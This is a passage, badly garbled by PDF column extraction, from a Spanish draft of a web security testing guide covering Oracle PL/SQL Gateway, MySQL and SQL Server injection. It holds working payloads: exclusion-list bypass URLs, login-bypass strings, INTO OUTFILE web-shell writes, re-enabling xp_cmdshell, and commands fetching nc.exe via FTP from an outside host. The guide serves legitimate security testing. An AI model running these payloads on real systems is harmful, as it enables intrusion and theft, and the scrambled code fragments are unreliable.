arriesgados. Los artículos prohibidos incluyen cualquier petición que inicie con SYS*, cualquier petición que inicie con DBMS_*, cualquier petición que contenga HTP* o OWA*. Sin embargo, es posible saltarse la lista de exclusión. Es más, la lista de exclusión no impide el acceso a los paquetes en los esquemas CTXSYS y MDSYS u otros, así que es posible explotar fallos en estos paquetes:
http://www.example.com/pls/dad/%0ASYS.PACKAGE.PROC http://www.example.com/pls/dad/%20SYS.PACKAGE.PROC http://www.example.com/pls/dad/%09SYS.PACKAGE.PROC
http://www.example.com/pls/dad/CXTSYS.DRILOAD.VALIDATE_ STMT?SQLSTMT=SELECT+1+FROM+DUAL Saltándose la lista de exclusión - método 2
Esto devolverá una página HTML en blanco con una respuesta 200 OK si el servidor de base de datos es todavía vulnerable a este fallo (CVE-20060265).
Versiones posteriores del Gateway permiten a los atacantes saltarse la lista de exclusión precediendo el nombre del esquema/paquete con una etiqueta. En PL/SQL una etiqueta apunta a una línea de código que puede saltarse utilizando la orden GOTO y adopta la forma siguiente: <<NAME>>
http://www.example.com/pls/dad/<<LBL>>SYS.PACKAGE.PROC
Probando el Gateway PL/SQL en busca de defectos Con el pasar de los años, el Gateway PL/SQL de Oracle ha experimentado un sinnúmero de defectos, incluyendo el acceso a las páginas de admin (CVE-2002-0561), desbordamientos de búfer (CVE-2002-0559), errores de salto de directorio, y las vulnerabilidades que permiten a los atacantes saltarse la lista de exclusión para acceder y ejecutar paquetes arbitrarios de PL/SQL en el servidor de base de datos.
Saltándose la lista de exclusión del PL/SQL Es increíble todas las veces que Oracle ha intentado corregir defectos que permiten a los atacantes saltarse la lista de exclusión. Cada parche que Oracle ha producido ha sido víctima de una nueva técnica de bypass. El historial de este triste suceso se encuentra aquí: http://seclists.org/fulldisclosure/2006/Feb/0011.html
Saltándose la lista de exclusión - método 3 Simplemente poniendo el nombre del esquema/paquete entre comillas dobles, podría permitir a un atacante omitir la lista de exclusión. Tenga en cuenta que esto no funcionará en Oracle Application Server 10g, ya que este convierte la solicitud del usuario en minúsculas antes de enviarla al servidor de base de datos, y un carácter en la cita es sensible a mayúsculasf; así, "SYS" y "sys" no son lo mismo y las peticiones de este último se traducirán en un 404 Not Found. En versiones anteriores, sin embargo, el siguiente puede saltarse la lista de exclusión:
http://www.example.com/pls/dad/”SYS”.PACKAGE.PROC
Saltándose la lista de exclusión - método 1 Saltándose la lista de exclusión - método 4 Cuando Oracle introdujo por primera vez la lista de exclusión de PL/SQL para evitar que los atacantes tengan acceso a paquetes arbitrarios de PL/SQL, podían saltarse de una manera trivial precediendo el nombre del esquema/paquete con un carácter codificado hexadecimal , espacio o tab:
Según el conjunto de caracteres utilizados en el servidor web y en el servidor de base de datos, algunos caracteres se traducen. Así, dependiendo de los conjuntos de caracteres en uso, el carácter "ÿ" (0xFF) podría convertirse en una "Y" en el servidor de base de datos. Otro carácter que se convierte a menudo en un mayúsculas "Y" es el carácter de Macron - 0xAF. Esto puede permitir a un atacante omitir la lista de exclusión:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 178
Guia de pruebas 4.0 "Borrador"
http://www.example.com/pls/dad/S%FFS.PACKAGE.PROC http://www.example.com/pls/dad/S%AFS.PACKAGE.PROC
Saltándose la lista de exclusión - método 5 Algunas versiones del Gateway PL/SQL permiten que la lista de exclusión sea evitada con una barra invertida - 0x5C:
http://www.example.com/pls/dad/%5CSYS.PACKAGE.PROC
Saltándose la lista de exclusión - método 6 Este es el método más complejo para saltarse la lista de exclusión y es el método parchado más reciente si debemos solicitar lo siguiente:
http://www.example.com/pls/dad/foo.bar?xyz=123
El servidor de la aplicación ejecutará lo siguiente en el servidor de base de datos:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 179
Guia de pruebas 4.0 "Borrador"
1 declare 2 rc__ number; 3 start_time__ binary_integer; Mire las líneas 19 y 24. En la línea 19, la solicitud del usuario es revisada contra un listado de cadenas "malas" conocidas, por ejemplo, la lista de exclusión. Si el paquete solicitado y el procedimiento no contienen cadenas "malas", entonces el procedimiento se ejecuta en la línea 24. El parámetro xyz se pasa como una variable de conexión.
4 simple_list__ owa_util.vc_arr; 5 complex_list__ owa_util.vc_arr; 6 begin 7 start_time__ := dbms_utility.get_time; 8 owa.init_cgi_env(:n__,:nm__,:v__);
Entonces, solicitamos lo siguiente:
9 htp.HTBUF_LEN := 255; http://server.example.com/pls/dad/INJECT’POINT
10 null; 11 null; 12 simple_list__(1) := ‘sys.%’; 13 simple_list__(2) := ‘dbms\_%’;
el siguiente PL/SQL se ejecuta:
14 simple_list__(3) := ‘utl\_%’; 15 simple_list__(4) := ‘owa\_%’;
..
16 simple_list__(5) := ‘owa.%’;
18 simple_list__(7) := ‘htf.%’;
17 simple_list__(6) := ‘htp.%’;
19 if ((owa_match.match_pattern(‘inject’point’, complex_list__, true))) then
simple_list__,
18 simple_list__(7) := ‘htf.%’; 20 rc__ := 2; 19 if ((owa_match.match_pattern(‘foo.bar’, complex_list__, true))) then 20 rc__ := 2; 21 else 22 null;
simple_list__, 21 else
22 null; 23 orasso.wpg_session.init(); 24 inject’point;
23 orasso.wpg_session.init(); 24 foo.bar(XYZ=>:XYZ); 25 if (wpg_docload.is_file_download) then 26 rc__ := 1; 27
wpg_docload.get_download_file(:doc_info);
28 orasso.wpg_session.deinit();
Esto genera un error en el registro de fallas: "PLS-00103: Encountered the symbol ‘POINT’ when expecting one of the following. . .” (PLS-00103: Encontró el simbolo 'PUNTO' cuando se espera uno de los siguientes…). Lo que tenemos aquí es una manera de inyectar un SQL arbitrario. Esto puede explotarse para evitar la lista de exclusión. Primero, el atacante debe encontrar un procedimiento PL/SQL que no contenga parámetros y que no se encuentre en la lista de exclusión. Hay un buen número de paquetes por defecto que cumplen con los criterios, por ejemplo:
29 null; 30 null; 31 commit; 32 else Documento Pre-release cortesía de Fernando Vela para drangonjar.org 33 rc__ := 0; 34 orasso.wpg_session.deinit();
180
Guia de pruebas 4.0 "Borrador"
JAVA_AUTONOMOUS_TRANSACTION.PUSH
http://server.example.com/pls/dad/orasso.home?);--=BAR
XMLGEN.USELOWERCASETAGNAMES PORTAL.WWV_HTP.CENTERCLOSE
ORASSO.HOME
Esto resulta en que se ejecute la siguiente PL/SQL:
WWC_VERSION.GET_HTTP_DATABASE_INFO .. orasso.home();--=>:);--); Un atacante debe seleccionar una de estas funciones que esté disponible en el sistema objetivo (por ejemplo, que devuelva un 200 OK cuando se solicite) Para probar, el atacante puede solicitar
http://server.example.com/pls/dad/orasso.home?FOO=BAR
El servidor debe devolver una respuesta "404 File Not Found" (404 Archivo no encontrado) porque el procedimiento orasso.home no requiere parámetros y uno fue provisto. De todas maneras, antes que el mensaje 404 sea devuelto, la siguiente PL/SQL se ejecutó.
Note que a todo despues del doble menos (--) se lo trata como comentario. Esta solicitud causará un error interno del servidor porque una de las variables de unión no se usa más, así que el atacante necesita incluirla nuevamente. Cuando esto sucede, la variable de conexión es la clave para correr un PL/SQL arbitrario. Por el momento, ellos pueden simplemente usar HTP.PRINT para imprimir BAR, y añadir la variable de conexión requerida como:1:
http://server.example.com/pls/dad/orasso.home?);HTP.PRINT(:1);-=BAR
.. .. if ((owa_match.match_pattern(‘orasso.home’, complex_list__, true))) then
simple_list__,
rc__ := 2; else
Esto debe devolver un 200 con la palabra "BAR" en la HTML. Lo que sucede aquí es que todo lo que viene despues del simbolo igual -BAR en este caso- es la información anexada a la variable de conexión. Usando la misma técnica, también es posible obtener acceso a owa_util.cellsprint nuevamente:
null;
orasso.wpg_session.init(); orasso.home(FOO=>:FOO);
http://www.example.com/pls/dad/orasso.home?);OWA_UTIL.CELLS PRINT(:1);--=SELECT+USERNAME+FROM+ALL_USERS
.. ..
Note la presencia de FOO en la cadena de la solicitud del atacante. Los atacantes pueden abusar de esto para correr un SQL arbitrario. Primero deben cerrar las comillas.
Para ejecutar un SQL arbitrario, que incluye indicaciones DML y DDL, el atacante inserta una ejecución inmediata:1:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 181
Guia de pruebas 4.0 "Borrador"
http://server.example.com/pls/dad/orasso.home?);execute%20immedia te%20:1;--=select%201%20from%20dual
Note que el resultado no se mostrará. Esto puede ser utilizado para explotar cualquier infección de inyección PL/SQL que SYS posea, permitiendo al atacante obtener, de esta manera, control total sobre el servidor de base de datos restringido. Por ejemplo, la siguiente URL se aprovecha de las fallas de inyección SQL en DBMS_EXPORT_EXTENSION (vea
Cada parámetro de ingreso debe probarse en busca de fallas de inyección de SQL. Estas son fáciles de encontrar y confirmar. Encontrarlas es tan simple como anexar una comilla en el parámetro y revisar las respuestas de error /que incluye errores 404 Not Found). Confirmar la presencia de una inyección SQL se puede realizar cuando hay un operador de concatenación.
Por ejemplo, asuma que hay una aplicación web de librería PL/SQLque permite a los usuarios buscar libros de un autor específico.
http://www.example.com/pls/bookstore/books.search?author=DICKE NS http://secunia.com/advisories/19860) http://www.example.com/pls/dad/orasso.home?); execute%20immediate%20:1;-=DECLARE%20BUF%20VARCHAR2(2000);%20BEGIN%20
BUF:=SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDE X_TABLES
Si esta solicitud devuelve libros escritos por Charles Dickens, pero http://www.example.com/pls/bookstore/books.search?author=DICK’E NS
(‘INDEX_NAME’,’INDEX_SCHEMA’,’DBMS_OUTPUT.PUT_LIN E(:p1);
EXECUTE%20IMMEDIATE%20’’CREATE%20OR%20REPLACE %20
PUBLIC%20SYNONYM%20BREAKABLE%20FOR%20SYS.OWA _UTIL’’;
devuelve un error o un 404, entonces puede haber una falla de inyección SQL. Esto puede confirmarse utilizando el operador de concatenación:
http://www.example.com/pls/bookstore/books.search?author=DICK’||’ ENS
END;--’,’SYS’,1,’VER’,0);END; Si esta solicitud devuelve libros escritos por Charles Dickens, usted ha confirmado la presencia de una vulnerabilidad de inyección SQL.
Herramientas Evalúe las aplicaciones web PL/SQL personalizadas Durante las evaluaciones de seguridad de Caja Negra, el código de la aplicación PL/SQL personalizada no está disponible, pero debe ser evaluada en busca de vulnerabilidades de seguridad.
Pruebe la inyección de SQL
• SQLInjector: databasesecurity.com • Orascan (Oracle Web Application VA scanner), NGS SQuirreL (Oracle RDBMS VA Scanner): nccgroup.com
Referencias
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 182
Guia de pruebas 4.0 "Borrador"
Libros Blancos • Hackproofing Oracle Application Server (A Guide to Securing Oracle 9): blackhat.com • Oracle PL/SQL Injection: blackhat.com
Pruebas de MySQL Resumen Las vulnerabilidades de inyección SQL ocurren cuando los datos ingresados se utilizan en la construcción de una consulta SQL sin ser adecuadamente limitados o desinfectados. El uso de SQL dinámico (la construcción de consultas SQL de concatenación de cadenas) abre la puerta a estas vulnerabilidades.
La inyección SQL permite a un atacante acceder a los servidores SQL. Permite la ejecución de código SQL bajo los privilegios del usuario utilizado para conectarse a la base de datos.
El servidor MySQL tiene particularidades que hacen que algunas explotaciones necesiten modificarse especialmente para esta aplicación. Este es el tema de esta sección.
Cabe señalar que en las versiones de MySQL anteriores a 4.0.x, solo los ataques de inyección ciega booleanos o basados en el tiempo podrían ser utilizados, puesto que la funcionalidad de subconsulta de instrucciones UNION no estaba implementada.
De ahora en adelante asumiremos que existe una vulnerabilidad de inyección SQL clásica, que puede ser desencadenada por una solicitud similar a la descrita en la sección de probando la inyección de SQL.
http://www.example.com/page.php?id=2
El problema de las comillas simples Antes de aprovechar las características de MySQL, tiene que considerarse cómo las cadenas podrían representarse en una instrucción, ya que a menudo las aplicaciones web dejan escapar las comillas simples.
El escape de las comillas simples de MySQL es como sigue: ‘A string with \’quotes\’’
Cómo probar Cuando se encuentra una vulnerabilidad de inyección SQL en una aplicación respaldada por una base de datos MySQL, hay una serie de ataques que pueden realizarse dependiendo de los privilegios del usuario y la versión de MySQL en el DBMS.
MySQL viene, por lo menos,con cuatro versiones que se utilizan en la producción a nivel mundial, 3.23.x, 4.0.x, 4.1.x y 5.0.x. Cada versión introduce un nuevo conjunto de características. • From Version 4.0: UNION • From Version 4.1: Subqueries • From Version 5.0: Stored procedures, Stored functions and the view named INFORMATION_SCHEMA • From Version 5.0.2: Triggers
Es decir, MySQL interpreta apóstrofes sueltos (\') como caracteres y no como metacaracteres.
Para que la aplicación funcione correctamente, debe usar cadenas constantes; dos casos deben diferenciarse:
[1] Web app escapa las comillas simples (' => \') [2] Web app no escapa las comillas simples ('=>')
En MySQL, existe una forma estándar para evitar la necesidad de comillas simples: tener una cadena constante que declarar sin la necesidad de comillas simples.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 183
Guia de pruebas 4.0 "Borrador"
Supongamos que queremos saber el valor de un campo llamado 'password' en un registro, con una condición como la siguiente: Versión [1] password like 'A %' Hay tres formas de obtener esta información: [2] los valores ASCII en un concatenado hexadecimal: password LIKE 0x4125 [1] Use la variable global @@version [3] la función char(): [2] Use la función [VERSION()] password LIKE CHAR(65,37) [3] Use un comentario de huella digital con un número de versión /*!40110 and 1=0*/ Consultas apiladas: Los conectores de bibliotecas MySQL no admiten varias consultas separadas por ';' así que no hay manera de inyectar varios comandos SQL no homogéneos dentro de una sola vulnerabilidad de inyección SQL como en Microsoft SQL Server.
que significa
if(version >= 4.1.10) add ‘and 1=0’ to the query.
Por ejemplo, la siguiente inyección resultará en un error:
1 ; update tablename set code=’javascript code’ where 1 -Estos son equivalentes ya que el resultado es el mismo. En inyección de banda:
Recopilación de información
1 AND 1=0 UNION SELECT @@version /*
Cómo tomar huellas digitales de MySQL Por supuesto, lo primero que debe saber es si hay un DBMS de MySQL como base de datos de acceso restringido. El servidor MySQL tiene una función que se utiliza para permitir que otros DBMS ignoren una cláusula en el dialecto de MySQL. Cuando un bloque de comentario ('/**/') contiene un signo de exclamación ('/*! sql aquí */') es interpretado por MySQL y se considera como un bloque de comentario normal por otros DBMS, tal como se explica en el manual de MySQL.
Ejemplo:
Inyección de inferencias: 1 AND @@version like ‘4.0%’
Resultado esperado: Una cadena como esta:
1 /*! and 1=0 */ 5.0.22-log
Resultado esperado: Si MySQL está presente, se interpretará la cláusula dentro del bloque de comentario.
Registro de usuario Hay dos tipos de usuarios en los que el servidor MySQL se apoya:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 184
Guia de pruebas 4.0 "Borrador"
1 AND DATABASE() like ‘db% [1] [USER()]: el usuario conectado al servidor MySQL. [2] [CURRENT_USER()]: el usuario interno quien ejecuta la consulta .
’
Hay ciertas diferencias entre 1 y 2. La principal es que un usuario anónimo podría conectarse (si se le permite) con cualquier nombre, pero el usuario interno de MySQL es un nombre vacío (''). Otra diferencia es que un procedimiento almacenado o una función almacenada se ejecuta como el usuario creador, si no se declara en otro sitio. Esto puede conocerse mediante el uso de CURRENT_USER.
Resultado esperado: Una cadena como esta:
dbname
Inyección dentro de la banda: ESQUEMA DE INFORMACIÓN 1 AND 1=0 UNION SELECT USER()
Inyección inferencial:
En MySQL 5.0, una vista llamada [INFORMATION_SCHEMA] fue creada. Nos permite obtener información sobre bases de datos, tablas y columnas, así como procedimientos y funciones.
Aquí hay un resumen de algunas vistas interesantes.
1 AND USER() like ‘root%’
Resultado esperado: Una cadena como esta:
user@hostname
Nombre de la base de datos en uso Hay una función nativa DATABASE() Inyección dentro de la banda:
1 AND 1=0 UNION SELECT DATABASE()
Toda esta información podría ser extraída mediante técnicas conocidas, como se describe en la sección de inyección de SQL.
Vectores de ataque Inyección inferencial:
Escriba en un archivo
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 185
Guia de pruebas 4.0 "Borrador"
Si el usuario conectado tiene privilegios en FILE y las comillas simples no se escapan, la cláusula 'into outfile' se puede utilizar para exportar los resultados de la consulta en un archivo.
archivos. Las comillas simples pueden escapar de la desinfección utilizando técnicas previamente descritas.
load_file(‘filename’) Select * from table into outfile ‘/tmp/file’
Resultado esperado: Nota: no hay ninguna forma de eludir las comillas simples alrededor de un nombre de archivo.
Así que si hay algún tipo de desinfección sobre las comillas simples como escape (\'), no habrá ninguna manera de utilizar la cláusula 'into outfile'.
Este tipo de ataque podría ser utilizado como una técnica de fuera de banda para obtener información sobre los resultados de una consulta o escribir un archivo que podría ser ejecutado dentro del directorio del servidor web.
Todo el archivo estará disponible para la exportación mediante el uso de técnicas estándar.
Ataque de inyección SQL estandar En un ataque de inyección SQL estándar, se pueden obtener resultados que se muestran directamente en una página como un resultado normal o como un error de MySQL. Mediante ataques de inyección SQL mencionados anteriormente y las características ya descritas de MySQL, la inyección directa de SQL podría lograrse fácilmente dependiendo principalmente de la versión de MySQL que enfrenta el evaluador de edición.
Ejemplo:
’1 limit 1 into outfile ‘/var/www/root/test.jsp’ FIELDS ENCLOSED BY ‘//’ LINES TERMINATED BY ‘\n<%jsp code here%>’;
Un buen ataque es saber los resultados obligando a una función/procedimiento o al servidor mismo a lanzar un error. Una lista de errores arrojados por MySQL, y en particular funciones nativas, se pueden encontrar en el Manual de MySQL.
Resultado esperado: Inyección SQL fuera de banda Los resultados se guardan en un archivo con privilegios rw-rw-rw que son propiedad del usuario y del grupo MySQL.
La inyección fuera de banda podría lograrse mediante el uso de la cláusula 'into outfile'.
Donde /var/www/root/test.jsp contendrá: Inyección ciega de SQL
//field values// <%jsp code here%>
Para la inyección ciega de SQL, hay una grupo de funciones nativas útiles, provistas por el servidor MySQL. • Largo de cadena: LENGTH(str)
Leer desde un archivo Load_file es una función nativa que puede leer un archivo cuando es autorizado por los permisos del sistema de archivo. Si el usuario conectado tiene privilegios FILE, podría utilizarlos para obtener el contenido de los
• Extraer una subcadena de una cadena dada: SUBSTRING(string, offset, #chars_returned) • Inyección ciega basada en el tiempo: BENCHMARK y SLEEP
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 186
Guia de pruebas 4.0 "Borrador"
En esta sección se discutirán algunas técnicas de inyección SQL que utilizan características específicas de Microsoft SQL Server. BENCHMARK(#ofcycles,action_to_be_performed ) La función de puntos de referencia (benchmark) puede utilizarse para realizar ataques temporizados, cuando la inyección ciega de valores booleanos no produce ningún resultado. Vea. SLEEP() (MySQL > 5.0.x) para una alternativa en puntos de referencia.
Para obtener la lista completa, refiérase al manual de MySQL en http://dev.mysql.com/doc/refman/5.0/en/functions.html
Herramientas • Francois Larouche: Multiple DBMS SQL Injection too:
Las vulnerabilidades de inyección SQL ocurren cuando el ingreso de datos se utiliza en la construcción de una consulta SQL sin que sea adecuadamente limitada o desinfectada. El uso de SQL dinámico (la construcción de consultas SQL mediante la concatenación de cadenas) abre la puerta a estas vulnerabilidades. La Inyección SQL permite a un atacante acceder a los servidores SQL y ejecutar códigos SQL bajo los privilegios del usuario utilizado para conectarse a la base de datos.
Como se explica en la inyección de SQL, un ataque de inyección SQL requiere dos cosas: un punto de entrada y una explotación para entrar. Cualquier parámetro, controlado por el usuario, que se procesa en la aplicación podría estar ocultando una vulnerabilidad. Esto incluye:
sqlpowerinjector.com • Reversing.org: packetstormsecurity.org • Bernardo Damele A. G.: sqlmap, automatic SQL injection tool: sqlmap.org • Muhaimin Dzulfakar: MySqloit, MySql Injection takeover too: code.google.com • sqlsus.sourceforge.net
• Los parámetros de aplicación en las cadenas de consulta (por ejemplo, solicitud GET) • Los parámetros de aplicación incluidos como parte del cuerpo de una solicitud POST • Información relacionada con el navegador (por ejemplo, agente usuario, referido) • Información relacionada con el host (por ejemplo, nombre de host, IP) • información relacionada con la sesión (por ejemplo, identificación del usuario, cookies)
Referencias Libros Blancos • Chris Anley: “Hackproofing MyS L”: nccgroup.com
Microsoft SQL server tiene unas características únicas, por lo que algunas explotaciones necesitan ser especialmente modificadas para esta aplicación.
Casos de Estudio Cómo probar • Zeelock: Blind Injection in MySQL Databases: Características del ServidorSQL http://archive.cert.uni-stuttgart.de Para empezar, veamos algunos procedimientos de los operadores y comandos o procedimientos almacenados del SQL Server que son útiles en la prueba de inyección de SQL: Pruebas del servidor SQL (SQL Server) Resumen [1] operador de comentarios: -
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 187
Guia de pruebas 4.0 "Borrador"
- (útil para forzar a la consulta para que ignore la parte sobrante de la consulta original; esto no será necesario en todos los casos) Una ejecución exitosa creará un archivo que puede ser navegado por el evaluador de edición. Tenga en mente que sp_makewebtask es obsoleto y, aunque trabaja en todas las versiones de SQL Server hasta el 2005, podría eliminarse en el futuro.
[2] separador de consultas: ; (punto y coma) [3] Los procedimientos almacenados útiles incluyen: - [xp_cmdshell] ejecuta cualquier comando en un shell de comandos en el servidor con los mismos permisos que el usuario de base de datos actual. Por defecto, sólo sysadmin tiene permiso de usarlo y en SQL Server 2005 está deshabilitado por defecto (puede ser habilitado nuevamente utilizando sp_configure).
Además, las funciones integradas de SQL Server y las variables integradas son muy útiles. El siguiente utiliza la función db_name() para desencadenar un error que devolverá el nombre de la base de datos:
- xp_regread lee valores arbitrarios de un registro /controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVER T(int,%20db_name())
(procedimiento extendido no documentado) - xp_regwrite escribe valores arbitrarios a un registro (procedimiento extendido no documentado) - [sp_makewebtask] Crea un shell de comandos de Windows y pasa una cadena para su ejecución. Cualquier resultado se devuelve como filas de texto. Esto requiere los privilegios sysadmin (administrador del sistema). - [xp_sendmail] Envía un mensaje de correo electrónico, que puede incluir un grupo de resultados de consultas adjunto a los destinatarios especificados. Este procedimiento de almacenamiento extendido utiliza SQL Mail para enviar el mensaje.
Veamos ahora algunos ejemplos de ataques específicos a un SQL Server, que utilizan las funciones mencionadas. La mayoría de estos ejemplos utilizará la función exec.
A continuación mostramos cómo ejecutar un comando de shell que escribe el resultado del comando dir c:\inetpub en un archivo navegable, suponiendo que el servidor web y el servidor de base de datos residen en el mismo host. La siguiente sintaxis utiliza xp_cmdshell: exec master.dbo.xp_cmdshell c:\inetpub\wwwroot\test.txt’--
‘dir
c:\inetpub
>
Alternativamente, podemos usar sp_makewebtask:
Note el uso de [convert]:
CONVERT ( data_type [ ( length ) ] , expression [ , style ] )
CONVERT intentará convertir el resultado de db_name (una cadena) en una variable de valor entero, provocando un error, que si aparece en una aplicación vulnerable, contendrá el nombre de la base de datos.
El ejemplo siguiente utiliza la variable de entorno @@version, combinada con una inyección de estilo "union select", con el fin de encontrar la versión del SQL Server.
/form.asp?prop=33%20union%20select%201,2006-01-06,2007-0106,1,’stat’,’name1’,’name2’,2006-01-06,1,@@version%20--
Y aquí está el mismo ataque, pero usando otra vez el truco de conversión:
exec sp_makewebtask ‘C:\Inetpub\wwwroot\test.txt’, ‘select * from master.dbo.sysobjects’--
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 188
Guia de pruebas 4.0 "Borrador"
/form.asp?prop=33%20union%20select%201,2006-01-06,2007-0106,1,’stat’,’name1’,’name2’,2006-01-06,1,@@version%20--
Un ejemplo de POST completo:
POST https://vulnerable.web.app/forgotpass.asp HTTP/1.1
Host: vulnerable.web.app La recopilación de información es útil para explotar las vulnerabilidades de software en el SQL Server, a través de la explotación de un ataque de inyección SQL o acceso directo al oyente de SQL.
A continuación mostramos varios ejemplos que explotan vulnerabilidades de inyección SQL a través de puntos de entrada diferentes.
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain; q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300
Ejemplo 1: Pruebas de inyección SQL en una solicitud GET
Proxy-Connection: keep-alive
El más simple (y a veces más gratificante) caso sería el de una página de inicio de sesión que solicita un nombre de usuario y contraseña pare el inicio de sesión del usuario. Usted puede intentar ingresar la siguiente cadena "' o '1' ='1" (sin comillas):
Referer: http://vulnerable.web.app/forgotpass.asp Content-Type: application/x-www-form-urlencoded Content-Length: 50
https://vulnerable.web.app/login.asp?Username=’%20or%20’1’=’1&P assword=’%20or%20’1’=’1
email=%27&whichSubmit=submit&submit.x=0&submit.y=0
Si la aplicación está utilizando consultas SQL dinámicas, y la cadena se adjunta a la consulta de validación de credenciales de usuario, esto puede resultar en un inicio de sesión exitoso en la aplicación. El mensaje de error que se obtiene cuando un carácter ‘ (comilla simple) se ingresa en el campo de correo electrónico es: Ejemplo 2: Pruebas de inyección SQL en una solicitud GET. PMicrosoft OLE DB Provider for S L Server error ‘80040e14’
Con el fin de saber cuántas columnas existen
Unclosed quotation mark before the character string ‘. https://vulnerable.web.app/list_report.aspx?number=001%20UNION %20ALL%201,1,’a’,1,1,1%20FROM%20users;--
/forgotpass.asp, line 15
Ejemplo 3: Pruebas de una solicitud POST Inyección SQL, HTTP POST email=%27&whichSubmit=submit&submit.x=0&submit.y=0
Content:
Ejemplo 4: Otro ejemplo (útil) de solicitud GET Para obtener el código fuente de la aplicación
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 189
Guia de pruebas 4.0 "Borrador"
a’ ; master.dbo.xp_cmdshell ‘ copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt’;--
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS DECLARE @result int, @OLEResult int, @RunResult int DECLARE @ShellID int
Ejemplo 5: xp_cmdshell personalizado Todos los libros y documentos que describen las mejores prácticas de seguridad para SQL Server recomiendan deshabilitar xp_cmdshell en SQL Server 2000 (en SQL Server 2005 está deshabilitado por defecto). Sin embargo, si tenemos derechos de sysadmin (nativo o por haber forzado la contraseña de administrador, vea a continuación), a menudo podemos eludir esta limitación.
En SQL Server 2000: • Si xp_cmdshell fue deshabilitado con sp_dropextendedproc, podemos simplemente inyectar el siguiente código:
sp_addextendedproc ‘xp_cmdshell’,’xp_log70.dll’
• Si el código anterior no funciona, significa que el xp_log70.dll ha sido movido o eliminado. En este caso tenemos que inyectar el siguiente código:
EXECUTE @OLEResult = sp_OACreate ‘WScript.Shell’, @ShellID OUT IF @OLEResult <> 0 SELECT @result = @OLEResult IF @OLEResult <> 0 RAISERROR (‘CreateObject %0X’, 14, 1, @OLEResult) EXECUTE @OLEResult = sp_OAMethod @ShellID, ‘Run’, Null, @cmd, 0, @Wait IF @OLEResult <> 0 SELECT @result = @OLEResult IF @OLEResult <> 0 RAISERROR (‘Run %0X’, 14, 1, @OLEResult)
EXECUTE @OLEResult = sp_OADestroy @ShellID return @result
Este código escrito por Antonin Foller (ver enlaces en la parte inferior de la página), crea un nuevo xp_cmdshell usando sp_oacreate, sp_oamethod y sp_oadestroy (siempre que no hayan sido desactivados también, por supuesto). Antes de usarla, necesitamos eliminar el primer xp_cmdshell que creamos (incluso si no estaba trabajando), de lo contrario, chocarán las dos declaraciones.
En SQL Server 2005, puede habilitar xp_cmdshell al inyectar el siguiente código en su lugar: master..sp_configure ‘show advanced options’,1 reconfigure master..sp_configure ‘xp_cmdshell’,1 reconfigure
Ejemplo 6: Referer / User-Agent
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 190
Guia de pruebas 4.0 "Borrador"
El encabezado REFERER configurado como:
Referer: https://vulnerable.web.app/login.aspx’, ‘some_ip’); [S L CODE]--
‘user_agent’,
Permite la ejecución de código SQL arbitrario. Lo mismo sucede con el encabezado User-Agent configurado como:
Por supuesto, el mensaje de error no siempre está disponible. Si ese es el caso, podemos utilizar el tiempo de respuesta para entender lo que está sucediendo: con un puerto cerrado, el tiempo de espera ( cinco segundos en este ejemplo) se consumirá, mientras que un puerto abierto devolverá el resultado inmediatamente.
Tenga en cuenta que OPENROWSET está habilitado de forma predeterminada en SQL Server 2000 pero deshabilitado en SQL Server 2005.
sp_addextendedproc ‘xp_cmdshell’,’xp_log70.dll’ Ejemplo 8: Carga de ejecutables
Ejemplo 7: SQL Server como un escáner de puertos En el SQL Server, uno de los comandos más útiles (al menos para el evaluador de penetración) es OPENROWSET, que se utiliza para ejecutar una consulta en otro servidor de base de datos y recuperar los resultados. El evaluador de penetración puede utilizar este comando para escanear puertos de otras máquinas en la red objetivo, al inyectar la siguiente consulta:
Una vez que podemos utilizar xp_cmdshell (ya sea el nativo o uno personalizado), fácilmente podemos subir archivos ejecutables en el servidor de base de datos de destino. Una opción muy común es netcat.exe, pero cualquier troyano será útil aquí. Si el objetivo es iniciar las conexiones FTP en la máquina del evaluador, todo lo que se necesita es inyectar las siguientes consultas: En este punto, nc.exe estará cargado y disponible. exec master..xp_cmdshell ‘echo open ftp.tester.org > ftpscript.txt’;--
exec master..xp_cmdshell ‘echo USER >> ftpscript.txt’;-select * from OPENROWSET(‘S LOLEDB’,’uid=sa;pwd=foobar;Network=DBM SSOCN;Address=x.y.w.z,p;timeout=5’,’select 1’)--
exec master..xp_cmdshell ‘echo PASS >> ftpscript.txt’;-exec master..xp_cmdshell ‘echo bin >> ftpscript.txt’;-exec master..xp_cmdshell ‘echo get nc.exe >> ftpscript.txt’;-exec master..xp_cmdshell ‘echo quit >> ftpscript.txt’;--
Esta consulta intentará una conexión a la dirección x.y.w.z en el puerto p. Si el puerto está cerrado, se devolverá el siguiente mensaje:
exec master..xp_cmdshell ‘ftp -s:ftpscript.txt’;--
Por el contrario, si el puerto está abierto, uno de los siguientes errores será devuelto:
General network error. Check your network documentation
OLE DB provider ‘sqloledb’ reported an error. The provider did not give any information about the error.
